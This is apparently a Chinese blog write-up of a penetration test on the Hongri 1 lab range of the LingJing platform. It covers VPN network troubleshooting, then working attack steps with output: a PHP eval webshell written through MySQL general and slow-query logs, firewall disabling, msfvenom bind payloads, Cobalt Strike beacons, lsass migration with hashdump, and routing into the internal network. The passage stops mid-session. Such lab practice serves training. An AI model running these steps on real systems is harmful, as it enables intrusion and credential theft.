红日1靶场（灵境平台）完整渗透记录

一、环境信息

1.1 网络拓扑

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
                        ┌─────────────────────┐
                        │    灵境云平台         │
                        └──────────┬──────────┘
                                   │ VPN 隧道
                        ┌──────────┴──────────┐
                        │  LingJing VPN 网关    │
                        │   192.168.188.1      │
                        └──┬───────────────┬───┘
                           │               │
                     Windows 主机      Kali 攻击机
                     192.168.188.6     192.168.188.134
                                       (eth1 桥接 LingJing)

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
靶场内网拓扑：

  ┌──────────────────┐     ┌──────────────────┐
  │   域控 (OWA)      │     │  Web服务器 (STU1)  │
  │ 192.168.52.138    │     │ 192.168.52.141    │ ← 内网
  │ Windows Server    │     │ 192.168.242.97    │ ← 外网（攻击入口）
  │ 2008 R2           │     │ 10.0.2.15         │ ← NAT
  │                   │     │ Windows 7 SP1     │
  └────────┬──────────┘     └────────┬──────────┘
           │    192.168.52.0/24      │
           └─────────────────────────┘

1.2 机器信息

角色	主机名	IP	系统
攻击机	Kali	192.168.188.134 (eth1)	Kali Linux 2025.4
Web 服务器	STU1	192.168.242.97 / 192.168.52.141 / 10.0.2.15	Windows 7 SP1 x64
域控	OWA	192.168.52.138	Windows Server 2008 R2 SP1
域名	-	GOD.ORG	-

1.3 灵境靶场开启

使用灵境靶场直接开启环境：

二、网络连通性排障（重点）

重点说一下灵境和 VMware 的网络互通，由于我的 VMware 并不能通过正常的桥接模式（正常的桥接模式设置请看：CSDN参考文章）与灵境网卡互通，所以通过直接修改文件达成桥接，具体如下：

2.1 第一阶段：不同网段，直接不通

Kali IP 为 192.168.188.113/24，靶场为 192.168.242.12，不在同一网段，ping 返回 Destination Host Unreachable。

处理：将 Kali 网卡改到 VMnet2（192.168.242.0/24 网段），Kali 获得 192.168.242.128。

2.2 第二阶段：同网段仍然不通

Kali 改到 192.168.242.128/24 后 ping 靶场依然不通。使用 nmap 跳过 ping 直接扫端口：

bash
1
nmap -Pn -sT 192.168.242.12 -p 80,3306,445

结果：0 hosts up，主机完全不可达。

2.3 第三阶段：扫描全网段，靶机不存在

bash
1
sudo nmap -sn 192.168.242.0/24

结果只发现 3 台主机：

192.168.242.1 — Windows 宿主机 (VMnet2)
192.168.242.254 — VMware DHCP 服务
192.168.242.128 — Kali 自己

靶机 242.12 根本不在 VMnet2 网络上。

2.4 第四阶段：关键发现——Windows 能通，Kali 不能

在 Windows 上 ping 靶场：

bash
1
ping 192.168.242.12    # 成功，TTL=127

说明靶场是通过 灵境 VPN 隧道 访问的，不是通过 VMnet2 的本地网络。

2.5 第五阶段：分析 Windows 网络

powershell
1
ipconfig

关键网卡信息：

网卡	IP	说明
LingJing	192.168.188.6/24	灵境 VPN 虚拟网卡
VMware VMnet2	192.168.242.1/24	VMware Host-Only
VMware VMnet8	192.168.93.1/24	VMware NAT

结论：192.168.242.12 的流量是通过 LingJing VPN 隧道路由的，不是在 VMnet2 上直接可达的。Kali 挂在 VMnet2 上自然找不到靶机。

2.6 第六阶段：解决方案——VMware 桥接到 LingJing

思路

让 Kali 新增一张网卡，桥接到 LingJing VPN 适配器上，这样 Kali 就能通过灵境的 VPN 隧道访问靶场。

遇到的问题

VMware 虚拟网络编辑器中，VMnet0 桥接模式可以看到 LingJing，但点 OK/Apply 后配置丢失，其他 VMnet 根本看不到 LingJing 选项。

解决：直接编辑 .vmx 文件

绕过 VMware GUI 限制，在 Kali 虚拟机的 .vmx 文件中手动添加第二张网卡：

plain
1
2
3
4
5
ethernet1.present = "TRUE"
ethernet1.connectionType = "bridged"
ethernet1.addressType = "generated"
ethernet1.virtualDev = "e1000"
ethernet1.bridgeAdapter = "LingJing"

bridgeAdapter 的值需要和 Windows Get-NetAdapter 中显示的网卡名称完全一致。
可通过 PowerShell 查看：Get-NetAdapter | Format-Table Name, InterfaceDescription

配置网络

启动 Kali 后，eth1 出现但没有 IP。使用 DHCP 获取地址：

bash
1
sudo dhcpcd eth1

注意：Kali 2025+ 版本已移除 dhclient，改用 dhcpcd。

成功获取到 192.168.188.116/24，网关 192.168.188.1（灵境 VPN 网关）。

验证

bash
1
ping 192.168.242.12

plain
1
2
3
64 bytes from 192.168.242.12: icmp_seq=1 ttl=128 time=2.83 ms
64 bytes from 192.168.242.12: icmp_seq=2 ttl=128 time=2.48 ms
64 bytes from 192.168.242.12: icmp_seq=3 ttl=128 time=2.77 ms

成功！

最终网络拓扑

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
┌──────────────────────────────────────────────────────┐
│                    灵境云平台                          │
│              靶场: 192.168.242.12                      │
└──────────────┬───────────────────────────────────────┘
               │ VPN 隧道
               │
┌──────────────┴───────────────────────────────────────┐
│            LingJing VPN 网关 (188.1)                   │
└──────┬───────────────────────────────┬───────────────┘
       │                               │
  Windows 主机                    Kali (eth1 桥接)
  188.6                           188.116

2.7 网络不稳定的处理

灵境 VPN 桥接偶尔断连，解决方法：

bash
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 彻底停掉所有 dhcpcd
sudo killall dhcpcd 2>/dev/null

# 停掉 NetworkManager 对 eth1 的管理
sudo nmcli device set eth1 managed no

# 清空 eth1
sudo ip addr flush dev eth1
sudo ip link set eth1 down

# 删掉旧租约文件，防止拿到重复 IP
sudo rm -f /var/lib/dhcpcd/*.lease

# 重新启动 eth0（NAT网卡）
sudo nmcli device set eth0 managed yes
sudo nmcli connection up eth0 2>/dev/null || sudo dhcpcd eth0

# 启动 eth1，只用 dhcpcd 获取一个 IP
sudo ip link set eth1 up
sudo dhcpcd eth1

# 确认结果
ip a

然后测试：ping 192.168.242.97 -c 2

如果还是不通，检查一下 Windows 上灵境 VPN 还连着没：ping 192.168.242.97

2.8 核心经验

步骤	关键操作
1	确认靶场 IP 实际通过 LingJing VPN 隧道访问，非本地 VMnet
2	编辑 .vmx 文件，添加桥接到 LingJing 的网卡
3	使用 `dhcpcd` 获取 VPN 网段 IP
4	通过 VPN 隧道成功访问靶场

灵境靶场的网络是通过 VPN 隧道访问的，必须让攻击机也接入这个 VPN 网络才能通信。VMware GUI 可能无法选择 VPN 网卡进行桥接，但直接编辑 .vmx 文件可以绕过这个限制。

三、外网渗透：信息收集

3.1 Nmap 端口扫描

bash
1
nmap 192.168.242.12

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1027/tcp open  IIS
1028/tcp open  unknown
1048/tcp open  neod2
1051/tcp open  optima-vnet
3306/tcp open  mysql

3.2 Dirsearch 目录爆破

bash
1
dirsearch -u 192.168.242.12 -t 100

bash
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
┌──(xvsf㉿kali)-[~]
└─$ dirsearch -u 192.168.242.12 -t 100
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 100 | Wordlist size: 11460

Output File: /home/xvsf/reports/_192.168.242.12/_26-03-07_07-47-47.txt

Target: http://192.168.242.12/

[07:47:49] Starting:
[07:47:49] 403 -    5KB - /%ff
[07:47:50] 403 -    5KB - /%C0%AE%C0%AE%C0%AF
[07:47:50] 403 -    5KB - /%3f/
[07:47:54] 403 -    5KB - /.htaccess.save
[07:47:54] 403 -    5KB - /.htaccess.bak1
[07:47:54] 403 -    5KB - /.htaccess.sample
[07:47:54] 403 -    5KB - /.htaccess.orig
[07:47:54] 403 -    5KB - /.htaccess_extra
[07:47:54] 403 -    5KB - /.htaccess_orig
[07:47:54] 403 -    5KB - /.htaccess_sc
[07:47:54] 403 -    5KB - /.ht_wsr.txt
[07:47:54] 403 -    5KB - /.htaccessOLD
[07:47:54] 403 -    5KB - /.htaccessOLD2
[07:47:54] 403 -    5KB - /.html
[07:47:55] 403 -    5KB - /.htm
[07:47:55] 403 -    5KB - /.htaccessBAK
[07:47:55] 403 -    5KB - /.htpasswd_test
[07:47:55] 403 -    5KB - /.httr-oauth
[07:47:55] 403 -    5KB - /.htpasswds
[07:48:03] 404 -    5KB - /\..\..\..\..\..\..\..\..\..\etc\passwd
[07:48:04] 404 -    5KB - /a%5c.aspx
[07:48:23] 403 -    5KB - /cgi-bin/
[07:48:24] 404 -    5KB - /cgi-bin/mt-xmlrpc.cgi
[07:48:24] 404 -    5KB - /cgi-bin/test-cgi
[07:48:24] 404 -    5KB - /cgi-bin/ViewLog.asp
[07:48:24] 404 -    5KB - /cgi-bin/test.cgi
[07:48:24] 404 -    5KB - /cgi-bin/a1stats/a1disp.cgi
[07:48:24] 404 -    5KB - /cgi-bin/index.html
[07:48:25] 404 -    5KB - /cgi-bin/htimage.exe?2,2
[07:48:25] 404 -    5KB - /cgi-bin/mt/mt-xmlrpc.cgi
[07:48:25] 404 -    5KB - /cgi-bin/awstats/
[07:48:25] 404 -    5KB - /cgi-bin/php.ini
[07:48:25] 404 -    5KB - /cgi-bin/awstats.pl
[07:48:25] 404 -    5KB - /cgi-bin/htmlscript
[07:48:25] 404 -    5KB - /cgi-bin/login.cgi
[07:48:25] 404 -    5KB - /cgi-bin/imagemap.exe?2,2
[07:48:25] 404 -    5KB - /cgi-bin/login
[07:48:25] 404 -    5KB - /cgi-bin/login.php
[07:48:25] 404 -    5KB - /cgi-bin/mt/mt.cgi
[07:48:26] 404 -    5KB - /cgi-bin/mt7/mt.cgi
[07:48:26] 404 -    5KB - /cgi-bin/mt7/mt-xmlrpc.cgi
[07:48:26] 404 -    5KB - /cgi-bin/mt.cgi
[07:48:27] 500 -    5KB - /cgi-bin/printenv.pl
[07:48:27] 404 -    5KB - /cgi-bin/printenv
[07:48:39] 403 -    5KB - /index.php::$DATA
[07:48:51] 200 -   79KB - /phpinfo.php
[07:48:51] 301 -  241B  - /phpMyAdmin  ->  http://192.168.242.12/phpMyAdmin/
[07:48:51] 301 -  241B  - /phpmyadmin  ->  http://192.168.242.12/phpmyadmin/
[07:48:52] 200 -   32KB - /phpmyadmin/ChangeLog
[07:48:52] 200 -    2KB - /phpmyadmin/README
[07:48:53] 200 -    4KB - /phpMyadmin/
[07:48:53] 200 -    4KB - /phpmyadmin/index.php
[07:48:53] 200 -    4KB - /phpMyAdmin/
[07:48:53] 200 -    4KB - /phpmyadmin/
[07:48:53] 200 -    4KB - /phpMyAdmin/index.php
[07:48:53] 200 -    4KB - /phpmyAdmin/
[07:49:07] 403 -    5KB - /Trace.axd::$DATA
[07:49:12] 403 -    5KB - /web.config::$DATA

Task Completed

关键发现：

/phpMyAdmin/ — 200 — 数据库管理后台
/phpinfo.php — 200 — PHP 信息页面
/beifen.rar — 网站备份文件
/yxcms — CMS 系统

弱口令 root/root 登录 phpMyAdmin：

四、phpMyAdmin 提权 GetShell

4.1 方法一：MySQL 全局日志写马（成功）

开启全局日志

sql
1
SET GLOBAL general_log = 'ON';

设置日志记录地址

sql
1
SET GLOBAL general_log_file = 'C:/phpStudy_pro/WWW/shell.php';

植入 Webshell

sql
1
SELECT '<?php eval($_POST[cmd]);?>';

general_log 和 general_log_file 是可以通过 SQL 动态修改的，不受 secure-file-priv 限制。

蚁剑连接

plain
1
2
URL:  http://192.168.242.12/shell.php
密码: cmd

连接后确认权限为 NT AUTHORITY\SYSTEM。

发现备份文件

4.2 方法二：慢查询日志写马

查看慢查询权限

sql
1
SHOW VARIABLES LIKE '%slow%';

开启慢查询日志

sql
1
SET GLOBAL slow_query_log = 1;

设置慢查询日志路径

sql
1
SET GLOBAL slow_query_log_file = 'C:/phpstudy_pro/WWW/shell1.php';

踩坑点：路径设置需要 / 而不是 \，否则保存日志路径会没有 \。

查询慢查询阈值

sql
1
SELECT @@long_query_time;

植入 Webshell

sql
1
SELECT '<?php @eval($_POST["shell"]);?>' OR SLEEP(11);

注意：SLEEP 的数值一定要大于慢查询阈值（默认 10 秒）。

蚁剑连接验证

4.3 方法三：INTO OUTFILE 写马（失败）

条件

Root 数据库用户（root 权限）
网站绝对路径（确定有写入权限）
secure_file_priv 没有具体值

创建数据库和表

建库：

建表：

建字段：

插入 webshell 数据：

执行导出（报错）

sql
1
SELECT * FROM test_table INTO OUTFILE "/phpstudy_pro/www/create_shell.php";

报错 #1290：--secure-file-priv 限制，该参数为启动级别，无法通过 SQL 动态修改，需改配置文件重启 MySQL。在只有 phpMyAdmin 权限的情况下，此路不通。

INTO OUTFILE 写马条件

sql
1
2
3
4
SELECT @@basedir;                              -- 查找 mysql 安装路径
SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%'; -- 查看写入权限
-- 如果 secure_file_priv 为空，则可以执行：
SELECT '<?php @eval($_POST[a]);?>' INTO OUTFILE '/var/www/html/shell.php';

4.4 MySQL 提权相关辅助操作

查看数据目录

sql
1
SHOW VARIABLES LIKE '%datadir%';

查看用户权限

sql
1
SELECT * FROM mysql.user;

查看写入权限

sql
1
SHOW VARIABLES LIKE 'secure_file_priv';

NULL — 不允许导入导出
"" 或 "/" — 允许任意目录
指定路径 — 仅限该目录

读取文件

sql
1
SELECT load_file('/etc/passwd');

4.5 确认系统权限

五、内网渗透准备

5.1 关闭目标靶机防火墙

plain
1
2
netsh advfirewall show allprofile state      # 查看防火墙状态
netsh advfirewall set allprofiles state off   # 关闭防火墙

5.2 Cobalt Strike 4.7 上线尝试（因网络限制未成功）

CS 部署

用的是天狐渗透工具箱中的

bash
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# Windows 上 SCP 传输到 Kali
scp -r "E:\...\Cobalt_Strike_4.7" xvsf@192.168.93.128:/home/xvsf/

# Kali 上移动并配置
sudo mv ~/Cobalt_Strike_4.7 /opt/
cd /opt/Cobalt_Strike_4.7
chmod +x teamserver TeamServerImage

# 启动服务端
sudo ./teamserver 192.168.188.134 123456

中途 Kali IP 从 192.168.188.116 更换为 192.168.188.134；靶机 IP 从 192.168.242.12 更换为 192.168.242.97。

Windows 客户端连接：

创建监听器与生成 Payload

保存生成的后门：

蚁剑上传 beacon.exe 到靶机：

CS 上线失败原因

网络环境限制——只能 Kali 单向 ping 通靶机，靶机无法回连 Kali：

结论：在靶机单向不可达 Kali 的情况下，CS 的初始上线方式都用不了。

六、Metasploit 上线（bind_tcp 正向连接）

6.1 为什么用 bind_tcp

方向	是否可达
Kali → 靶机	✅ 通过 LingJing VPN
靶机 → Kali	❌ 灵境 VPN 不允许反向路由

Metasploit 的 bind_tcp 可以直接从攻击机连接目标，不需要已有 session，不需要靶机回连。

6.2 生成木马

bash
1
msfvenom -p windows/meterpreter/bind_tcp LPORT=5555 -f exe -o /home/xvsf/bind.exe

6.3 蚁剑上传并执行

plain
1
start /b C:\phpstudy_pro\WWW\bind.exe

注意：蚁剑终端直接执行 bind.exe 不会在后台运行，必须用 start /b。

确认监听：

plain
1
netstat -an | findstr 5555

6.4 Kali 连接

bash
1
msfconsole -q -x "use multi/handler; set payload windows/meterpreter/bind_tcp; set RHOST 192.168.242.97; set LPORT 5555; run"

成功获得 meterpreter session！

6.5 基础信息确认

bash
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : STU1
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : zh_CN
Domain          : GOD
Logged On Users : 5
Meterpreter     : x86/windows
meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 12
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:c0a8:f261
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 15
============
Name         : Microsoft ISATAP Adapter #2
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:c0a8:348d
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 17
============
Name         : Microsoft ISATAP Adapter #4
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:a00:20f
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 22
============
Name         : Npcap Loopback Adapter
Hardware MAC : 02:00:4c:4f:4f:50
MTU          : 1500
IPv4 Address : 169.254.129.186
IPv4 Netmask : 255.255.0.0
IPv6 Address : fe80::b461:ccad:e30f:81ba
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 24
============
Name         : Intel(R) PRO/1000 MT Network Connection #3
Hardware MAC : 52:54:00:12:34:57
MTU          : 1500
IPv4 Address : 192.168.52.141
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a908:6a09:6d62:6198
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 25
============
Name         : Intel(R) PRO/1000 MT Network Connection #4
Hardware MAC : 52:54:00:12:34:56
MTU          : 1500
IPv4 Address : 192.168.242.97
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::2559:dfbe:4de9:dd9f
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 26
============
Name         : Intel(R) PRO/1000 MT Network Connection #5
Hardware MAC : 52:54:00:12:34:58
MTU          : 1500
IPv4 Address : 10.0.2.15
IPv4 Netmask : 255.255.255.0
IPv6 Address : fec0::88ba:1b09:ff8d:be3a
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : fe80::88ba:1b09:ff8d:be3a
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > ps

Process List
============

 PID   PPID  Name                Arch  Session  User                          Path
 ---   ----  ----                ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System              x64   0
 256   4     smss.exe            x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\smss.exe
 268   488   svchost.exe         x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 332   324   csrss.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 384   376   csrss.exe           x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 392   324   wininit.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\wininit.exe
 432   376   winlogon.exe        x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe
 488   392   services.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\services.exe
 500   392   lsass.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsass.exe
 508   392   lsm.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsm.exe
 604   488   svchost.exe         x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 624   488   svchost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 688   488   vmacthlp.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\VMware\VMware Tools\vma
                                                                              cthlp.exe
 716   488   svchost.exe         x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 736   488   svchost.exe         x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 760   384   conhost.exe         x64   1        GOD\Administrator             C:\Windows\System32\conhost.exe
 804   488   svchost.exe         x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 856   860   dwm.exe             x64   1        GOD\Administrator             C:\Windows\System32\dwm.exe
 860   488   svchost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 896   488   svchost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 952   332   conhost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\conhost.exe
 1080  6968  sshd-session.exe    x64   0        STU1\liukaifeng01             C:\Program Files\OpenSSH\sshd-session.ex
                                                                              e
 1084  488   spoolsv.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 1096  488   SearchIndexer.exe   x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\SearchIndexer.exe
 1132  488   svchost.exe         x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1148  7904  beacon.exe          x64   0        NT AUTHORITY\SYSTEM           C:\phpstudy_pro\WWW\beacon.exe
 1316  2124  php-cgi.exe         x64   0        NT AUTHORITY\SYSTEM           C:\phpstudy_pro\Extensions\php\php7.3.4n
                                                                              ts\php-cgi.exe
 1336  488   phpStudyServer.exe  x64   0        NT AUTHORITY\SYSTEM           C:\phpstudy_pro\COM\phpStudyServer.exe
 1488  488   ssh-agent.exe       x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\OpenSSH\ssh-agent.exe
 1520  488   sshd.exe            x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\OpenSSH\sshd.exe
 1580  488   VGAuthService.exe   x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\VMware\VMware Tools\VMw
                                                                              are VGAuth\VGAuthService.exe
 1608  1336  httpd.exe           x64   0        NT AUTHORITY\SYSTEM           C:\phpstudy_pro\Extensions\Apache2.4.39\
                                                                              bin\httpd.exe
 1620  332   conhost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\conhost.exe
 1636  1336  mysqld.exe          x64   0        NT AUTHORITY\SYSTEM           C:\phpstudy_pro\Extensions\MySQL5.7.26\b
                                                                              in\mysqld.exe
 1708  6720  cmd.exe             x64   1        GOD\Administrator             C:\Windows\System32\cmd.exe
 2028  488   svchost.exe         x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 2080  912   mmc.exe             x64   1        GOD\Administrator             C:\Windows\System32\mmc.exe
 2124  1608  httpd.exe           x64   0        NT AUTHORITY\SYSTEM           C:\phpstudy_pro\Extensions\Apache2.4.39\
                                                                              bin\httpd.exe
 2152  7320  cmd.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\cmd.exe
 2196  488   msdtc.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\msdtc.exe
 6456  488   svchost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 6696  488   taskhost.exe        x64   1        GOD\Administrator             C:\Windows\System32\taskhost.exe
 6720  852   explorer.exe        x64   1        GOD\Administrator             C:\Windows\explorer.exe
 6884  488   sppsvc.exe          x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\sppsvc.exe
 6912  384   conhost.exe         x64   1        GOD\Administrator             C:\Windows\System32\conhost.exe
 6968  1520  sshd-session.exe    x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\OpenSSH\sshd-session.ex
                                                                              e
 7024  6720  cmd.exe             x64   1        GOD\Administrator             C:\Windows\System32\cmd.exe
 7044  7160  beacon-tcp.exe      x64   0        NT AUTHORITY\SYSTEM           C:\phpstudy_pro\WWW\beacon-tcp.exe
 7280  8148  beacon.exe          x64   0        NT AUTHORITY\SYSTEM           C:\phpstudy_pro\WWW\beacon.exe
 7376  7720  bind2.exe           x86   0        NT AUTHORITY\SYSTEM           C:\phpstudy_pro\WWW\bind2.exe
 7380  6720  cmd.exe             x64   1        GOD\Administrator             C:\Windows\System32\cmd.exe
 7388  384   conhost.exe         x64   1        GOD\Administrator             C:\Windows\System32\conhost.exe
 7396  332   conhost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\conhost.exe
 7556  7380  ssh.exe             x64   1        GOD\Administrator             C:\Program Files\OpenSSH\ssh.exe
 7568  1520  sshd-session.exe    x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\OpenSSH\sshd-session.ex
                                                                              e
 7616  624   slui.exe            x64   1        GOD\Administrator             C:\Windows\System32\slui.exe
 7676  7568  sshd-session.exe    x64   0        STU1\liukaifeng01             C:\Program Files\OpenSSH\sshd-session.ex
                                                                              e
 7688  7676  ssh-shellhost.exe   x64   0        STU1\liukaifeng01             C:\Program Files\OpenSSH\ssh-shellhost.e
                                                                              xe
 7712  7688  cmd.exe             x64   0        STU1\liukaifeng01             C:\Windows\System32\cmd.exe
 7724  332   conhost.exe         x64   0        STU1\liukaifeng01             C:\Windows\System32\conhost.exe
 7740  7712  cmd.exe             x64   0        STU1\liukaifeng01             C:\Windows\System32\cmd.exe
 7800  1520  sshd-session.exe    x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\OpenSSH\sshd-session.ex
                                                                              e
 7856  616   cmd.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\cmd.exe
 7868  7960  beacon.exe          x64   0        NT AUTHORITY\SYSTEM           C:\phpstudy_pro\WWW\beacon.exe
 7904  2152  cmd.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\cmd.exe
 7908  7800  sshd-session.exe    x64   0        STU1\liukaifeng01             C:\Program Files\OpenSSH\sshd-session.ex
                                                                              e
 7960  7856  cmd.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\cmd.exe

meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: Incorrect function.
meterpreter > screenshot
[-] stdapi_ui_desktop_screenshot: Operation failed: Access is denied.
meterpreter > shell
Process 7284 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\phpstudy_pro\WWW>dir
dir
 ������ C �еľ�û�б�ǩ��
 ������к��� B83A-92FD

 C:\phpstudy_pro\WWW ��Ŀ¼

2025/06/22  08:26    <DIR>          .
2025/06/22  08:26    <DIR>          ..
2025/04/25  15:30               166 .htaccess
2025/06/22  08:04           295,936 beacon-tcp.exe
2025/06/22  07:43           295,936 beacon.exe
2019/10/13  17:05         3,142,807 beifen.rar
2025/06/22  08:20             7,168 bind.exe
2025/06/22  08:26             7,168 bind2.exe
2014/02/27  23:02            21,201 index.php
2025/04/25  15:30                 0 nginx.htaccess
2013/05/09  20:56                23 phpinfo.php
2025/04/25  15:29    <DIR>          phpMyAdmin
2025/06/22  07:43               580 shell.php
2025/04/25  15:29    <DIR>          yxcms
              10 ���ļ�      3,770,985 �ֽ�
               4 ��Ŀ¼  5,418,110,976 �����ֽ�

C:\phpstudy_pro\WWW>

常用命令：

getuid # 查看当前权限

sysinfo # 系统信息

ipconfig # 网络配置

ps # 进程列表

hashdump # 导出密码哈希

screenshot # 截屏

shell # 进入 cmd

靶机三张网卡：

网卡	IP	用途
Intel #5	10.0.2.15/24	NAT 出网
Intel #4	192.168.242.97/24	外网（攻击入口）
Intel #3	192.168.52.141/24	内网域网段

到目前为止拿下的只是外网 Web 服务器（STU1）：

七、内网渗透：拿下域控

7.1 进程迁移与密码哈希提取

hashdump 失败是因为 meterpreter 是 x86，需要迁移到 x64 的 SYSTEM 进程：

bash
1
2
3
4
5
6
7
8
meterpreter > migrate 500
[*] Migrating from 7376 to 500...
[*] Migration completed successfully.

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:ad8b1b80e5d43bd61ab6796242bc7daa:::

7.2 内网信息收集

添加内网路由

plain
1
2
meterpreter > run autoroute -s 192.168.52.0/24
[+] Added route to 192.168.52.0/255.255.255.0 via 192.168.242.97

域信息收集

bash
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
meterpreter > shell
